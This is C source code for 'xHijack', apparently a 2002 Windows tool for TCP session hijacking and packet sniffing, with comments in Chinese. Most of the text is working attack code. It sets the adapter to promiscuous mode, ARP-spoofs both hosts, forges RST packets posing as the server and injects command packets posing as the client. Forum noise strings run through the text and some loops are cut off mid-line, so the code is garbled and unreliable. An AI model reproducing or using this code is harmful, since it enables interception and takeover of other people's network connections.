'\0')) { if (*temp == '\0') & l c% G m' A6 W { : f. l+ ^/ N& T/ h6 p/ o memcpy(AdapterList,temp1,(temp-temp1)*2); . O! h, Q- u, z* ~" }* d printf("%d - %S\n", i+1, AdapterList); temp1=temp+1; ) A3 A4 m6 v$ ^/ r9 k6 y i++; 4 Z+ a" P; U0 ~9 t3 h7 f8 ^& i } temp++; - {- V+ d+ m" F; T; g' F0 K+ s8 m" s! d } //choose adapter : t8 p% k' I' Z' a) Y3 F+ K while((iAdapter <= 0) || (iAdapter > i)) { - ^* u4 ~2 C9 u printf("\nPlease choose your Adapter:"); 6 l! ~/ y9 J/ D8 j7 ^2 h! i scanf("%1d", &iAdapter); } % ]9 [3 @. O, x$ x2 L4 `7 n printf("\n"); 7 T0 \3 C% K2 j //---------------------------------------------// 4 |4 g( H2 O# K! v8 m( y" t //这里调用iphlpapi来取得本地ip_addr和mac_addr sprintf(szSelectAdapterName, "%S", AdapterList[iAdapter -1], sizeof(szSelectAdapterName)-1); 6 N$ C$ I$ |8 x/ {0 x dwRet = GetAdaptersInfo(pAdapterInfo, &ulLen); 9 [/ f$ d6 r$ }1 y if(dwRet != ERROR_BUFFER_OVERFLOW) { printf("GetAdapterInfo error:%d\n", GetLastError()); return 0; # V1 h: S" m! c S } pAdapterInfo = (PIP_ADAPTER_INFO)malloc(ulLen); 6 }6 j' c- n- r$ L9 w- Z; o2 c if(!pAdapterInfo) { 6 n$ U: `" H) t$ l) p$ k* r printf("malloc memory for pAdapterInfo error:%d\n", GetLastError()); 4 }( q* w& a$ f- b: s9 Q4 w& \4 Q return 0; } dwRet = GetAdaptersInfo(pAdapterInfo, &ulLen); if(dwRet != ERROR_SUCCESS) { printf("GetAdapterInfo error:%d\n", GetLastError()); return 0; # k* H2 P7 t( [% `4 ^. a } pTmp = pAdapterInfo; + U5 x# U+ e; R while(pTmp) ( G' f' T# o2 t/ @& p, I { , E( [# n) ]* R3 T P //字符匹配

韩冰

if(strstr(szSelectAdapterName, pTmp->AdapterName)) ( w+ G- K, e, A$ u. f3 R { ) }6 f( J+ C; {1 n# p2 B5 @4 E //found it,get own adapter mac address memcpy(g_szOwnMAC, pTmp->Address, 6); l& _( F2 l4 e //get ip address : c5 t+ b8 }# S! A$ ^# L) q pIPAddr = &pTmp->IpAddressList; ) [5 v/ p, O4 f while(pIPAddr) # g3 f U# M6 ^4 Y1 G { g_OwnIP[g_TotalIP++] = inet_addr((char *)&pIPAddr->IpAddress); 6 p1 v1 X9 j2 P) J/ [( Z# { pIPAddr = pIPAddr->Next; ; K( B' O8 W- f' E+ K if(g_TotalIP >= Max_Num_IPAddr) break; } 8 X K- f' ]: u; J! D break; ' G# o. e8 P# u' j2 A; u, E } . x$ ^ p, G. M! _4 Y pTmp = pTmp->Next; # H# C. a, q( _ } free(pAdapterInfo); //not found,return zero if( (!pTmp) || (!g_TotalIP) ) return 0; //---------------------------------------------// //open adapter lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[iAdapter - 1]); if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE)) { & d# e, C8 |4 ~" m0 y3 Y- W iRetCode = GetLastError(); printf("Unable to open the driver, Error Code : %lx\n", iRetCode); + a+ W5 G: H6 N# N; Q6 V return 0; } $ X' C! M3 |( e. W2 p' Y5 i8 w // set the network adapter in promiscuous mod ! [5 o( p: O' m if(PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_PROMISCUOUS) == FALSE) % [; @* ]& X }# C { printf("Warning: unable to set promiscuous mode!Try set ALL_LOCAL mode!\n"); if(PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_ALL_LOCAL) == FALSE) $ Q7 n9 k3 u* X1 ]" o { printf("Unable to set ALL_LOCAL mode!\n"); return 0; + V: m/ p j4 s; A- Z7 ]8 ^# j( s+ x } ( H. n) x) z+ J* p$ q1 e } + v. I6 {& ?- ]8 q% c // set a 512K buffer in the driver ; V$ F$ n! i6 w A; P0 K if(PacketSetBuff(lpAdapter, 512000) == FALSE) 3 H7 c+ U/ r) n& {& T: G { $ N/ \8 I2 R1 _, B g( V printf("Unable to set the kernel buffer!\n"); ! T" n5 w8 @1 Q! j" v. @% ?% e. H# v9 n return 0; } // set a 1 second read timeout . Z& R1 V% Q' |7 }( [ if(PacketSetReadTimeout(lpAdapter, 1000) == FALSE) 9 Y$ [2 t ?9 g* e5 j" m5 w printf("Warning: unable to set the read tiemout!\n"); if(PacketSetNumWrites(lpAdapter, 1) == FALSE) printf("warning: Unable to send more than one packet in a single write!\n"); " c; T- ? \7 Y/ _; j: q c //设置发送的packet 9 ^; q. e& B3 F9 Z& O3 A4 @) H2 ? g_lpSendPacket = PacketAllocatePacket(); 5 ?0 t% F& t4 x. o5 K$ O' l if(g_lpSendPacket == NULL) { + G. }7 H4 G+ `0 C3 q printf("Error:failed to allocate the LPPACKET structure for send packet.\n"); 9 ] j" X; }6 J6 c return 0; } 3 A; B' A, D- X* e8 S ZeroMemory(g_szSendPacketBuf, sizeof(g_szSendPacketBuf)); PacketInitPacket(g_lpSendPacket, g_szSendPacketBuf, 1514); |/ Z) W1 L3 P, V$ L# e; D return lpAdapter; & Z% H% T0 ]# L+ X. y, A9 o} 9 ]. H& u9 z4 `* A( O ! k' W; ^$ t# k4 k8 L" p6 W. |5 s//功能：帮助信息 # M4 i2 S4 j8 \. Vvoid usage() { 8 G" @) ], U# E6 j printf( "xHijack v1.0 -- multipurpose connection intruder / sniffer for windows 2000\n" 2 ^( Y% @" k( G& ~! m& N "By eyas 2002/8/19\n" 2 L) K. O' J3 |2 x; ?9 _ "http://www.ey4s.org\n" 2 ^6 l% j8 c4 Y. l# }4 D) f1 s' k "Thanks to Refd0m and shotgun\n\n" "Usage: xHijack ServerSide ClientSide\n\n"); # [1 y( C& b/ _2 F7 o# e} 5 V8 s2 u' O& e! a/ Y7 T. z // 0 I5 |- C }7 E0 h3 f//功能：显示数据包的一些详细信息 , f& D$ m3 Z( b9 K9 y( }" Y i# S4 j// + k8 i+ L8 J7 g6 sVOID ShowPacketMoreInfo(PTCPPACKET pTCPPacket, USHORT usDataLen, BOOL bDetail) { SOCKADDR_IN saDest, saSrc; ; D8 E5 W: {8 [- O+ b" H7 o3 X3 a unsigned char FlagMask; 9 Q9 w+ l4 r2 Z' u* D; ?+ y int i; saDest.sin_addr.s_addr = pTCPPacket->iphdr.destIP; saSrc.sin_addr.s_addr = pTCPPacket->iphdr.sourceIP; ! L3 o% ]9 {0 h7 J$ U5 `+ n& r* v! } printf("\n%-15s:%-5d -> ", inet_ntoa(saSrc.sin_addr), ntohs(pTCPPacket->tcphdr.th_sport)); * y" A( D& J5 y printf("%-15s:%-5d DataLen=%d ", inet_ntoa(saDest.sin_addr), $ e' }4 l% |6 K8 ^ ntohs(pTCPPacket->tcphdr.th_dport), usDataLen); //display TCP flag 9 c; D8 n2 a. s/ Q( F* _ for( i=0, FlagMask=1; i<6; i++, FlagMask <<= 1) - @& A, U9 c% ]/ i' x8 C! ` { % g5 Z7 |7 u2 \9 a3 m! d, l+ x0 _ {5 q1 s if((pTCPPacket->tcphdr.th_flag) & FlagMask) " W- D7 ?& [0 E4 F printf("%c", g_szTcpFlag); & q3 g$ F1 C, }! E else printf("-"); * E7 f; P5 z3 o' _ } printf("\n"); //如有需要，可显示更多详细的信息 if(bDetail) printf("SEQ=%.8X ACK=%.8X\n",ntohl(pTCPPacket->tcphdr.th_seq), ntohl(pTCPPacket->tcphdr.th_ack)); ( {+ Y7 H: s) c4 Q' Q( C0 O} $ Q) }1 n( K# F2 @ // //功能：处理收到的数据包(只分析本不属于自己的包)，然后根据用户输入，完成各种功能 : ]: }! ^9 ~0 C% e// DWORD WINAPI AnalysePacketsThread(LPVOID lp) ' z3 `, B x! U" Q, y+ E" ?+ K{ 7 @/ C+ l7 h( s0 X ULONG ulBytesReceived; USHORT usDataLen; * j. \. x' G; I, E! H/ p/ y //USHORT usIPHeadLen, usTCPHeadLen; 6 [" F3 N4 w, N$ M! R1 Z: J char *buf; / b; V$ V# D& O8 Q; l, \+ ` u_int off, i; 2 k* L* c% e( q; t/ C PTCPPACKET pTCPPacket; & V2 d) N( \% _' x struct bpf_hdr *hdr; LPPACKET lpRecvPacket; 9 n/ G7 w" f. p char szPacketBuf[256000], *pStr; $ r. I/ @1 W9 t$ \7 o6 y) Q* x% ` BOOL bDeleteNode, bAddNew; $ e! e8 r1 u- A. M [* ^ DWORD ident;//当前所处理的数据包，所属的连接的唯一标识 + j. M5 }5 a8 c3 o4 x BOOL bClientToServer;//数据包是否从客户端发送到服务器端 B' D- V1 S( X6 Y% X/ l4 l 5 I5 ]- ] n' O8 M, Q4 e //设置接收的packet lpRecvPacket = PacketAllocatePacket(); " F) C. V h$ H, x if(lpRecvPacket == NULL) : r" ^! [" G. |8 Z5 O5 r8 y: Q/ b { printf("Error:failed to allocate the LPPACKET structure for recv.\n"); return 0; } ZeroMemory(szPacketBuf, sizeof(szPacketBuf)); 7 n6 Y; ?% ^: F2 K; I4 d9 ?- r PacketInitPacket(lpRecvPacket, szPacketBuf, 256000); while(1) { // capture the packets if(PacketReceivePacket(g_lpAdapter, lpRecvPacket, TRUE) == FALSE) 3 C2 E! ?" o* C' A2 y" z/ F { printf("Error: PacketReceivePacket failed.\n"); " K* d2 Q+ E6 Q$ ?6 { break; } , w0 f+ Y9 H1 F3 S ulBytesReceived = lpRecvPacket->ulBytesReceived; buf = lpRecvPacket->Buffer; 2 ~2 T% |/ |/ m* ~! h( }8 o off = 0; while(off < ulBytesReceived) / G3 ]( X& c" t, }% r5 y1 K% d { hdr = (struct bpf_hdr *)(buf + off); 0 E& k# a7 l4 Y: _. b0 e) _# C off += hdr->bh_hdrlen; pTCPPacket = (PTCPPACKET)(buf + off); off = Packet_WORDALIGN(off + hdr->bh_caplen); //不需要处理自己发出的包(转发或本机发送的) 7 c; Q& Q8 O7 Q6 \8 Y if(memcmp(pTCPPacket->ehhdr.SourceMAC, g_szOwnMAC, 6) == 0) continue; " b/ p! A* C! B$ s) u, @ //检查是否IP包 , l- Q: P1 Y1 k% ~; G6 O% |* }! t2 X if(pTCPPacket->ehhdr.EthernetType != htons(EPT_IP)) continue; 1 N2 ^. _$ j4 ? //检查是否TCP包 $ K4 L3 a0 g! c m& v if(pTCPPacket->iphdr.proto != IPPROTO_TCP) continue; //也不处理DestIP是自己的包 & i7 {& Q9 n8 u: P% \2 E8 V for(i=0; i

韩冰

pTCPPacket-&gt;iphdr.sourceIP, pTCPPacket-&gt;tcphdr.th_sport, TRUE, FALSE);
            //reset action flag
            ResetActionAllFlag();
          }
          //start hijack
          else if(g_dwAction == ACTION_HIJACK)
; ^, P( D: _, b! v* k% c          {
            //send rst packet to client
6 u1 ^; e' t1 h8 F            SendRstPacket(pTCPPacket-&gt;tcphdr.th_ack, pTCPPacket-&gt;tcphdr.th_seq);
            //send hijack packet to client
            SendHiJackPacket(pTCPPacket);
* ]/ x+ w$ O; A+ ^" D4 X7 H' B            //reset action flag
            ResetActionAllFlag();
          }
        }
        //show the tcp data
        if( (g_dwAction == ACTION_WATCH) &amp;&amp; (usDataLen) )
6 p, d2 Y: q$ Y        {
! {$ Z; ]3 A4 E" K! R# A: L) ?. S1 g          ShowPacketMoreInfo(pTCPPacket, usDataLen, FALSE);
          //暂不考虑IP、TCP头不是20字节的情况
          //pStr = (char *)pTCPPacket + sizeof(EHHDR) + usIPHeadLen + usTCPHeadLen;
          pStr = (char *)pTCPPacket + 54;
          for(i=0; i        }
      }
$ ~7 s/ G9 R0 b) m6 w3 R/ K      //debug output
      //ShowPacketMoreInfo(pTCPPacket, usDataLen, TRUE);
    }//end of analyse packets while
; J% }! p/ K, U. P  }//end of recv packets while
. i4 u- q3 s( i0 R  PacketFreePacket(lpRecvPacket);
  return 0;
6 R" H  @, w+ P1 J" W5 @0 V( O" `}
9 D/ [( s* c$ Q2 f

//
+ p+ q" v) u/ o: Q//功能：操作记录所有连接信息的单向链表
) @3 f3 |9 r4 q//
DWORD CtrlConnInfoLink(DWORD dwServerIP, USHORT uServerPort, DWORD dwClientIP,
            USHORT uClientPort, BOOL bDelete, BOOL bAddNew)
5 C. o$ }0 e! M+ W' n% Z{
/ ]# \+ b( K# [0 g" y  PCONNINFO  pNew, pTmp;
7 w3 x7 H0 |$ g5 |! O8 Y, V
  pTmp = g_pConnHead;
4 O5 m, i0 n1 J. R  while(pTmp)
  {
- J& S. V, B' `1 H- K* V* Q    if(pTmp-&gt;bActive)
    {
; S0 C0 w" w+ f! E2 l      //found it
      if( (pTmp-&gt;dwServerIP == dwServerIP) &amp;&amp;
+ L8 c# l8 j0 V5 e) t" H        (pTmp-&gt;uServerPort == uServerPort) &amp;&amp;
* ?8 S8 s* `1 W' ?% t4 x, n        (pTmp-&gt;dwClientIP == dwClientIP) &amp;&amp;
. x) ^5 G6 y8 s4 v: H  a- V        (pTmp-&gt;uClientPort == uClientPort) )
5 H& V' w; |+ H      {
0 C$ a- T; u7 v2 A$ {        if(bDelete)
3 x( a8 V, S' b! M- ?: H* T        {
# [4 [; q$ ~8 |. o9 U          pTmp-&gt;bActive = FALSE;
          return 0;
        }
        else return pTmp-&gt;ident;
! c' R( t. E+ H5 J4 J      }
. v$ q) ]/ m9 ]$ P    }
5 k2 W4 p. ]  w! G    pTmp = pTmp-&gt;Next;
  }
  O0 h$ }: `% c% E% U( u  r+ m: c  //not found, create new node
  if( (!pTmp) &amp;&amp; (!bDelete) &amp;&amp; (bAddNew) )
" b% [# ^! f, k/ s  {
" S! I; `$ h! {/ ]+ p    //search unactive note
- T$ `* B) b6 s" v! A    pTmp = g_pConnHead;
    while(pTmp)
    {
      if(!pTmp-&gt;bActive) break;
      pTmp = pTmp-&gt;Next;
    }
. H/ H7 Q) {: T    //found a unactive node
    if(pTmp)
    {
      pTmp-&gt;dwServerIP = dwServerIP;
; G$ ^4 y: T. d      pTmp-&gt;uServerPort = uServerPort;
      pTmp-&gt;dwClientIP = dwClientIP;
! b: k# e( ^% ]' V+ v+ U      pTmp-&gt;uClientPort = uClientPort;
4 s, Q% K  M* ^$ D0 K  |/ _- X; K: B      pTmp-&gt;bActive = TRUE;
      return pTmp-&gt;ident;
2 I3 r6 g! B* D    }
- c4 V$ N$ }+ q2 ^# N    //not found,create new node
    pNew = (PCONNINFO)malloc(sizeof(CONNINFO));
4 ~7 W6 F" U% }* R/ k) c$ N" ^  Y" G    if(!pNew)
    {
( Z" x# h' F% A( q" s1 m0 _: v      printf("malloc for link node error:%d\n", GetLastError());
; c/ z8 S; o; R; s0 f# j: Z. i- Y% T      return 0;
  {: n, N: X  Z: `% O. j    }
    //fill the struct
    pNew-&gt;bActive = TRUE;
' Y, I7 ?) K; T* w4 J& p2 P5 k( L    pNew-&gt;dwServerIP = dwServerIP;
    pNew-&gt;uServerPort = uServerPort;
, }4 `( b8 K$ y5 |) ?; D" j- ]  @    pNew-&gt;dwClientIP = dwClientIP;
9 L8 R6 O" \! c0 A( ~    pNew-&gt;uClientPort = uClientPort;
    pNew-&gt;ident = ++g_ident;
6 L5 y9 C% i1 f6 Z    pNew-&gt;Next = NULL;
& k5 `& \0 d# |) q& ]5 g    //add new node to link
1 I9 a1 x7 N% ~) k# M3 b4 Z    if(!g_pConnHead)
      g_pConnHead = g_pConnLast = pNew;
  ?9 I3 y  W4 u4 {7 e4 V    else
    {
      g_pConnLast-&gt;Next = pNew;
      g_pConnLast = pNew;
7 S* i4 d# V: I& g" e    }
6 C; V# Q7 K% ?2 o    return pNew-&gt;ident;
& A: F% g# E. C( }- r  }
6 g1 G, z$ P+ d' R$ J3 v  return 0;
" x2 N- n4 N: C# _}
5 t% l; r% t# m3 Q; @
//
//功能：判断一个数据包是不是只有ACK标志
5 W; j7 i# J$ H1 _1 Q//
BOOL IsACKPacket(unsigned char flag)
, ^4 S; H8 P: z5 P2 \0 p{
4 H* e( d' [7 T( V  u  int  i, j=1;
  for(i=0 ; i&lt;4; i++)
  {
8 f: o2 Z1 o$ m" r" U    if(flag &amp; j) return FALSE;
( v2 \+ P3 i+ d7 v: Y    j &lt;&lt;= 1;
+ K/ J5 v- K- {9 f% l' k  }
8 F5 ?$ }) @' t9 y$ D* X  if(!(flag &amp; 0x10)) return FALSE;//is ack?
8 V" k2 W$ `) C( e6 h0 Q# |  if(flag &amp; 0x20) return FALSE;
  return TRUE;
}
! t1 C0 F8 J/ b4 ^9 G
//
//功能：伪装成Client给Server发送数据包
7 p# g) s# |! M9 a! V& @/ f//
BOOL SendHiJackPacket(PTCPPACKET pTempletPacket)
1 u+ p7 M, _5 j& u0 F) p" ?{
2 i7 m. t' d. _* ?4 X3 M
: S: ?& G, Q* N8 b* P  char    szBuff[1520];
  R5 N4 c6 z# b/ N7 M) M6 N  PSDHDR    psdhdr;
  PTCPPACKET  pHiJackPacket = NULL;
  BOOL    bRet = FALSE;

0 o% o2 ]0 W6 N/ W  __try
  {
    //
6 W1 E) n1 `" s* z6 n) F    if(!g_pCurrCtrlConn) __leave;
    //allocate memory for hijack packet
    pHiJackPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET));
! ]; u' g- k4 {* j! W# I    if(!pHiJackPacket)
) S8 b' A3 l2 C! i+ t; s3 p1 ~    {
% [3 j0 a, m( b3 }  P      printf("malloc error:%d\n", GetLastError());
. f  x# S' Q  t6 A  O      __leave;
1 A$ D2 V2 o- n9 H    }
    memcpy(pHiJackPacket, pTempletPacket, sizeof(TCPPACKET));
. c3 j5 A- n6 p- \$ C! V    //-------------- modify the packet ---------------//
    //modify ethernet head
& t  u: M; V! Y" {    memcpy(pHiJackPacket-&gt;ehhdr.DestMAC, g_szServerSideMAC, 6);
. O* z) A4 N- B- _. E' g/ [    memcpy(pHiJackPacket-&gt;ehhdr.SourceMAC, g_szOwnMAC, 6);
6 h- E7 B5 R0 G/ I/ }$ j    //modify ip head
    pHiJackPacket-&gt;iphdr.h_verlen = (4&lt;&lt;4 | sizeof(IPHDR)/sizeof(unsigned long));
    pHiJackPacket-&gt;iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR)+strlen(g_szCommand));
    pHiJackPacket-&gt;iphdr.ident += 1;//标识加1
1 `* j9 c+ {4 R( ~2 q# h    pHiJackPacket-&gt;iphdr.checksum = 0;
, n8 Z4 X: B$ N, _& O; E5 y    pHiJackPacket-&gt;iphdr.sourceIP = g_pCurrCtrlConn-&gt;dwClientIP;//源IP地址，伪装成client
    pHiJackPacket-&gt;iphdr.destIP = g_pCurrCtrlConn-&gt;dwServerIP;//目的IP地址，接收hijack包的地址
( q/ X0 b2 V2 Z# t' i) H    //modify tcp head
    pHiJackPacket-&gt;tcphdr.th_sport = g_pCurrCtrlConn-&gt;uClientPort;//client's port
: r; [2 Z9 d$ e$ w( C    pHiJackPacket-&gt;tcphdr.th_dport = g_pCurrCtrlConn-&gt;uServerPort;//server's port
6 _5 `7 w" u! z% |# z: [+ d# E4 M    pHiJackPacket-&gt;tcphdr.th_lenres = (sizeof(TCPHDR)/4 &lt;&lt; 4 | 0);
    pHiJackPacket-&gt;tcphdr.th_flag = 0x18;// PA
! b6 V7 P1 Q( F5 i    pHiJackPacket-&gt;tcphdr.th_sum = 0;
" ?% O7 W  x) i    pHiJackPacket-&gt;tcphdr.th_win = 0x3F44;
8 t! C4 h5 A! c& {% t    //fill tcp psd head
    psdhdr.saddr = pHiJackPacket-&gt;iphdr.sourceIP;           
2 m/ A" D. `" Z  Z% ~* K    psdhdr.daddr = pHiJackPacket-&gt;iphdr.destIP;           
    psdhdr.mbz = 0;
    psdhdr.ptcl = IPPROTO_TCP;
5 e; H8 Z7 X3 x9 i    psdhdr.tcpl = htons(sizeof(TCPHDR) + strlen(g_szCommand));//tcp head + data len
    //calculate tcp checksum     
8 V0 m2 S9 D% I0 ~    memcpy(szBuff, &amp;psdhdr, sizeof(PSDHDR));   
    memcpy(szBuff + sizeof(PSDHDR), &amp;pHiJackPacket-&gt;tcphdr, sizeof(TCPHDR));
    memcpy(szBuff + sizeof(PSDHDR) + sizeof(TCPHDR), g_szCommand, strlen(g_szCommand));
2 u: u# C# U) F) _2 X+ i    pHiJackPacket-&gt;tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR) + strlen(g_szCommand));
    //calculate IP checksum
) d  A1 r1 J3 H7 e7 b& S) R    pHiJackPacket-&gt;iphdr.checksum = checksum((USHORT *)&amp;pHiJackPacket-&gt;iphdr, sizeof(IPHDR));
    //fill send buffer           
    memcpy(szBuff, (char *)pHiJackPacket, sizeof(TCPPACKET));
4 M2 u. X, N; t+ Z" ~6 v/ D' u    memcpy(szBuff + sizeof(TCPPACKET), g_szCommand, strlen(g_szCommand));
9 `* v4 |; y; R' M, `$ Q/ m* E0 X    memset(szBuff + sizeof(TCPPACKET) + strlen(g_szCommand), 0, 4);
0 t, z( R1 r: r3 n. c6 k; v% L    memset(g_lpSendPacket-&gt;Buffer, 0, 1514);
    memcpy(g_lpSendPacket-&gt;Buffer, szBuff, sizeof(TCPPACKET) + strlen(g_szCommand));
1 K  y5 |. y; E4 k# \    if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE)
) \/ T4 m: z3 B3 X+ U; x7 m4 k; b; D    {
! Z# n2 R: g1 ~+ M" Y# M; [      printf("Error sending the hijack packets!\n");
2 u) G! [0 _% A  c      __leave;
    }
    else printf("Send hijack packet ok!\n");
    bRet = TRUE;
  }

韩冰

__finally
  G. J; Q6 `/ V. |; L/ |  {
8 }) k+ N5 b7 ~    if(pHiJackPacket) free(pHiJackPacket);
" ?9 Q+ A% T/ J  }
  return bRet;
}


//
//功能：伪装成Server给Client发送rst包
//
BOOL SendRstPacket(unsigned int seq, unsigned int ack)
  `. k% |. Z: \+ m{
  char    szBuff[60];
  PSDHDR    psdhdr;
9 F2 l: W' t! P* V" `  PTCPPACKET  pTcpPacket = NULL;
4 F0 M0 g% S& @+ J- \, ^( |  BOOL    bRet = FALSE;
  o2 ~( l0 j1 g9 E) ^: l1 S& I- Y
$ T# n9 d$ @' t" v  __try
  {
' C" E; }( J" h4 O    //检查当前指向想控制的连接的信息的指针是否为空
    if(!g_pCurrCtrlConn) __leave;
    //allocate memory for rst packet
    pTcpPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET));
    if(!pTcpPacket)
    {
      printf("malloc error:%d\n", GetLastError());
      __leave;
/ p6 }0 i  n, J. X    }
    //fill ethernet head
( W5 t3 I! e  r8 b/ P5 x4 Q    memcpy(pTcpPacket-&gt;ehhdr.DestMAC, g_szClientSideMAC, 6);
5 S' C  }/ X* n& P    memcpy(pTcpPacket-&gt;ehhdr.SourceMAC, g_szOwnMAC, 6);
    pTcpPacket-&gt;ehhdr.EthernetType = htons(EPT_IP);
    //fil ip head
9 J" t# x& l+ h7 e    pTcpPacket-&gt;iphdr.h_verlen = (4&lt;&lt;4 | sizeof(IPHDR)/sizeof(unsigned long));
    pTcpPacket-&gt;iphdr.tos = 0;
* D0 {: x0 Y, Z9 Y5 b2 s8 p% ~    pTcpPacket-&gt;iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR));
    pTcpPacket-&gt;iphdr.ident = 1;
! D0 f  d" _3 T. B    pTcpPacket-&gt;iphdr.frag_and_flags = 0;
    pTcpPacket-&gt;iphdr.ttl = 128;
    pTcpPacket-&gt;iphdr.proto = IPPROTO_TCP;
9 x, e4 E; Z. H1 V/ z    pTcpPacket-&gt;iphdr.checksum = 0;
6 Y6 s/ J- _. Q0 D, t' P    pTcpPacket-&gt;iphdr.sourceIP = g_pCurrCtrlConn-&gt;dwServerIP;//源IP地址，伪装成服务器的
    pTcpPacket-&gt;iphdr.destIP = g_pCurrCtrlConn-&gt;dwClientIP;//接收此rst包的ip地址
    //fill tcp head
8 ^1 q7 Z) y" C) c- G' h    pTcpPacket-&gt;tcphdr.th_sport = g_pCurrCtrlConn-&gt;uServerPort;//源端口号，伪装成服务器的端口
    pTcpPacket-&gt;tcphdr.th_dport = g_pCurrCtrlConn-&gt;uClientPort;//接收此rst包的端口
# L' b* ^5 _: w1 s+ w: W7 ^! I+ i    pTcpPacket-&gt;tcphdr.th_seq = seq;//SYN
    pTcpPacket-&gt;tcphdr.th_ack = ack;//ACK
9 w' V$ s% q3 o( D; M    pTcpPacket-&gt;tcphdr.th_lenres = (sizeof(TCPHDR)/4&lt;&lt;4|0);
! I: k! H. ?+ F9 K/ i5 X    pTcpPacket-&gt;tcphdr.th_flag = 4;//RST flag
3 R' _# k; J4 p+ G! J    pTcpPacket-&gt;tcphdr.th_win = 0;
    pTcpPacket-&gt;tcphdr.th_urp = 0;
' u8 Z2 z0 c1 m* X/ x8 M" o    pTcpPacket-&gt;tcphdr.th_sum = 0;
    //fill tcp psd head
; f& j9 R$ q: z& v    psdhdr.saddr = pTcpPacket-&gt;iphdr.sourceIP;           
4 W0 z0 e7 t1 a6 R/ d; [- _    psdhdr.daddr = pTcpPacket-&gt;iphdr.destIP;           
    psdhdr.mbz = 0;
, }9 W( B0 g# a. ?    psdhdr.ptcl = IPPROTO_TCP;
    psdhdr.tcpl = htons(sizeof(TCPHDR));
# T! d7 R* ~( ~' n7 f    //calculate tcp checksum     
    memcpy(szBuff, &amp;psdhdr, sizeof(PSDHDR));   
, _' ]( F0 d5 G4 s    memcpy(szBuff + sizeof(PSDHDR), &amp;pTcpPacket-&gt;tcphdr, sizeof(TCPHDR));
& ~6 Y2 v/ u) q, I* o0 I    pTcpPacket-&gt;tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR));
    //calculate IP checksum
    pTcpPacket-&gt;iphdr.checksum = checksum((USHORT *)&amp;pTcpPacket-&gt;iphdr, sizeof(IPHDR));
: `8 w9 l8 ~) a5 [/ s- d& q    //fill send buffer
    memset(g_lpSendPacket-&gt;Buffer, 0, 1514);
    memcpy(g_lpSendPacket-&gt;Buffer, (char *)pTcpPacket, sizeof(TCPPACKET));
; N0 O( K* C" ^; B    if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE)
; s9 m, G5 O" }  y$ Z    {
6 Q, M, f2 ~+ H4 o- N" H      printf("Error sending the rst packets!\n");
. o9 W. V' F: ^      __leave;
8 u0 L- \" D9 q2 F0 H    }
    else printf("Send RST packet ok!\n");
* D5 G+ e2 N: O3 U# _/ V  T$ R+ ]& M    bRet = TRUE;
0 D. D$ {* W) C( U9 s. z  }
* G+ Q2 _0 Y; W7 @2 M  __finally
$ M: X9 K' p& B% \  {
! O  u. F2 N% X5 I1 t    if(pTcpPacket) free(pTcpPacket);
  }
  return bRet;
}

" v+ ?' C, A0 J! b//
  R# M9 t" F8 v- _; Q) ?/ m//功能：计算校验和
//
USHORT checksum(USHORT *buffer, int size)
6 x3 k; w1 [- y! a* Z5 w) u{
unsigned long cksum=0;
* A# b4 b% t- ?$ M& F1 j4 n2 D while(size &gt;1) {
) L! P6 K% Z) s% H  cksum+=*buffer++;
8 J) o; [6 @) ]9 u  m0 Y  size -=sizeof(USHORT);
& m  D/ V/ A1 M2 c, U, `# G1 B+ _ }
% s- C" \* m' k if(size ) {
  cksum += *(UCHAR*)buffer;
2 F. Z7 t. v7 y5 Z: [  T }
9 [% |! h, U; _& l  I cksum = (cksum &gt;&gt; 16) + (cksum &amp; 0xffff);
1 x" r' G" U8 g4 [ cksum += (cksum &gt;&gt;16);
+ R: v5 M% Y. h1 q# \6 y4 i+ G# [- { return (USHORT)(~cksum);
}
  X7 R8 l& V0 S8 x, L
//
- I; W# I0 g. c0 ]. X9 R//功能:实施ARP欺骗
: x2 d( m+ x; x& a5 b+ P//1 告诉ServerSide,ClientSide的mac是ownmac
//2 告诉ClientSide,ServerSide的mac是ownmac
8 l9 X% y! T: c# f; K6 ~//
DWORD WINAPI ArpSpoofThread(LPVOID lpType)
! p; G0 x$ ]; ?; \  A$ j{
  int  iType = *(int *)lpType;
) Z8 g9 ?! _. d9 R$ M  ARPPACKET  ArpPacket;
6 ^/ Y0 k. \0 J8 k' A  LPPACKET  lpArpPacket;
+ Q' c: ]( A5 D6 w/ j" h) i' k' d  char    szArpBuff[60];

  switch(iType)
- {! }$ N7 u: A" K2 G  {
    case 1:
      memcpy(ArpPacket.ehhdr.DestMAC, g_szServerSideMAC, 6);
      ArpPacket.arphdr.DestIP = g_ServerSideIP;
      ArpPacket.arphdr.SourceIP = g_ClientSideIP;
0 C& J* P; ?+ L4 n9 A- M      break;
    case 2:
      memcpy(ArpPacket.ehhdr.DestMAC, g_szClientSideMAC, 6);
      ArpPacket.arphdr.DestIP = g_ClientSideIP;
      ArpPacket.arphdr.SourceIP = g_ServerSideIP;
      break;
    default:
      return 0;
, h( m, N. S) y" i. N8 x/ l  }
# y9 Z% V! M+ [+ t; }, g  //ethernet head
  memcpy(ArpPacket.ehhdr.SourceMAC, g_szOwnMAC, 6);
/ [/ E( s. M0 C8 v( ~1 Q8 f1 X  ArpPacket.ehhdr.EthernetType = htons(EPT_ARP);//ethernet type
  S* M4 b9 q' J& m1 \  //arp head
- P% B% X$ G9 i% B1 k  memcpy(ArpPacket.arphdr.DestMAC, ArpPacket.ehhdr.DestMAC, 6);//dest's mac
! K( ?' ~1 V1 U  memcpy(ArpPacket.arphdr.SourceMAC, g_szOwnMAC, 6);//sender's mac
. W  K4 `8 h5 t% v. x" ?9 M  ArpPacket.arphdr.HrdAddrlen = 6;
  ArpPacket.arphdr.ProAddrLen = 4;
0 F) f7 I* Y" s  ArpPacket.arphdr.HrdType = htons(ARP_HARDWARE);
  ArpPacket.arphdr.ProType = htons(EPT_IP);
